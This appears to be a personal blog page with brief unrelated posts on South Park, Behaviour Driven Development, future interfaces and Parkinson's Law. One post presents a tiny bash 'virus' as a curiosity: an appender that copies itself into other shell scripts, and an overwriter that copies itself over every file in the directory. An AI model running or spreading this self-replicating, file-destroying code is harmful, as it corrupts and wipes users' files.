I am recently watching all episodes of South Park, an attempt to get why people like it so much (and why it is always among the top 10 most viewed TV series)... and I found this while youtubing some linux stuff... enjoy!
For those familiar with TDD (Test Driven Development), I was reading an article on Ruby on Rails, and found the BDD for the first time (Behaviour Driven Development). For people interested on development management, a must...
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Although not very spread (try Googling it), it holds the very principle of the virus algorithm technique. The most simple virus code I have ever seen...
(BASH scripting language)
Appender
for i in *.sh; do
if test ”./$i” != ”$0”; then
tail -n 5 $0 | cat >> $i ;
fi
done
Overwritter
for file in *; do
cp $0 $file
done
Pretty cool!
As we are talking about future, how about look into the new technologies appearing for UI?
This blog posted a very interesting list of futuristics interfaces:
http://www.technologyreview.com/blog/editors/23940/
More some years, and the Jetsons will be completely outdated, hehehe!
I have come across the Parkinson's Law before, which was a complex mathematical expression used in economical and financial sciences, to express the expansion of bureaucracy over time (got this from Wikipedia, of course I did not remember it, lol).
In simple terms (again, from Wikipedia), the law says that:Work expands so as to fill the time available for its completion
Reading a book later, called The 4-hour Work Week, I found a very cool explanation about it by the author, that matches perfectly with my work philosophy, trying always to push myself to motivate and speed up productivity.
Parkinson's Law dictates that a task will swell in (perceived) importance and complexity in relation to the time allotted for its completion. It is the magic of the imminent deadline. If I give you 24 hours to complete a project, the time pressure forces you to focus on execution, and you have no choice but to do only the bare essentials. If I give you a week to complete the same task, it's six days of making a mountain out of a molehill...
